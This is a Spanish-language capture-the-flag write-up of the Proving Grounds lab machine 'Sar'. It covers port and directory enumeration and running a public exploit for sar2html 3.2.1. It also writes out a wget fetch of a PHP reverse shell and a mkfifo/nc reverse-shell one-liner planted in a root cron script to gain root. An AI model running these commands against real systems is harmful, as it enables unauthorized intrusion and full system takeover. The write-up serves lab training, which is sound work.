> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sar.md).

# Sar

<figure><img src="/files/sNeNgw6vgWJoKCNUriEn" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos enumerando los servicios abiertos de la máquina "Sar"

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.35
```

<figure><img src="/files/JSBkHLWW4UAf0ToCfJf2" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos, 22 y 80. Continuamos con el escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.147.35 
```

<figure><img src="/files/3xpjTtvuCbbcvqrJVxb1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mBKr9pnJDp9Gd7tVzrFI" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

La máquina "Sar" está ejecutando un servidor Web en el puerto 80, vamos a enumerar su contenido.&#x20;

<figure><img src="/files/a8brzupApkgrUQrJBHst" alt=""><figcaption></figcaption></figure>

Página por defecto de un servidor que está ejecutando Apache. Vamos a enumerar directorios y archivos disponibles.

```
dirsearch -u "192.168.147.35" -i200,301 -t 30
```

<figure><img src="/files/zGCWRVDyqOHQRIR6pB23" alt=""><figcaption></figcaption></figure>

Hay un archivo /robots.txt que puede ser interesante. Vamos a ver su contenido.&#x20;

<figure><img src="/files/uJgXedEiHYonZlqvl62Q" alt=""><figcaption></figcaption></figure>

Parece un directorio. Vamos a enumerar su contenido.&#x20;

<figure><img src="/files/XCqshEnn3BADBbo60LJp" alt=""><figcaption></figcaption></figure>

Podemos ver la versión "sar2html 3.2.1". Vamos a tratar de buscar algún exploit existente para esta versión.&#x20;

<figure><img src="/files/cP2NLGisGtj8yV1sx575" alt=""><figcaption></figcaption></figure>

### Explotación

Existen dos posibles exploits. Vamos a descargar el exploit 49344.py

```
searchsploit -m 49344.py
```

Una vez descargado, ejecutamos el exploit.

<figure><img src="/files/q4D8VzMUPz8wlFizc4WM" alt=""><figcaption></figcaption></figure>

Tenemos shell. Vamos a buscar la flag Local.txt

<figure><img src="/files/eEgja5k89bN51Au0Ccnu" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

La shell obtenida no nos permite movimiento alguno. Vamos a cargar una reverse shell en la máquina víctima que nos permita acceso completo al sistema.&#x20;

```
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
```

<figure><img src="/files/o7A7VmO3p7nAvVfCQvAr" alt=""><figcaption></figcaption></figure>

Ejecutamos un oyente nc en el puerto 1234 y abrimos la shell en el navegador Web.&#x20;

<figure><img src="/files/g9y3RaI0yqb7D4qRcxS0" alt=""><figcaption></figcaption></figure>

Realizamos el tratamiento de la tty.&#x20;

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="/files/9O1Jo3Gx7m6XLSUZd78L" alt=""><figcaption></figcaption></figure>

Enumeramos los archivos disponibles en el directorio /var/www/html

<figure><img src="/files/2kEMqSv5wP1sml3EI4Ww" alt=""><figcaption></figcaption></figure>

En este directorio hay disponible dos ejecutables bash que pueden ser interesantes, finally.sh y write.sh.&#x20;

Vamos a enumerar el contenido del archivo crontab

<figure><img src="/files/C8Yatsu4lsIovIfMxzEw" alt=""><figcaption></figcaption></figure>

El archivo finally.sh que vimos en la enumeración del contenido del directorio, se ejecuta con privilegios elevados cada 5 minutos. Vamos a ver el contenido de los dos scripts que vimos anteriormente.&#x20;

<figure><img src="/files/kRDalREaFYNL6BOns1Jm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HsE2pmP7GZ4Thgz1pGZ5" alt=""><figcaption></figcaption></figure>

Tenemos permisos para escribir en el ejecutable write.sh pero no en finally.sh. Vamos a modificar el archivo write.sh para crear una reverse shell que se ejecutará cada 5 minutos.&#x20;

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.147 1337 >/tmp/f" > write.sh
```

<figure><img src="/files/59MXIUMsik7L1pa05a5g" alt=""><figcaption></figcaption></figure>

Esperamos 5 minutos y deberemos obtener conexión en la máquina objetivo con privilegios máximos.&#x20;

<figure><img src="/files/8zut9LGdcWwX5mlvrOoM" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt para acabar la resolución de este CTF.&#x20;

<figure><img src="/files/B9dNiuEz2v0j1dGWFDrs" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=Wl-nXhJ5HiQ>" %}
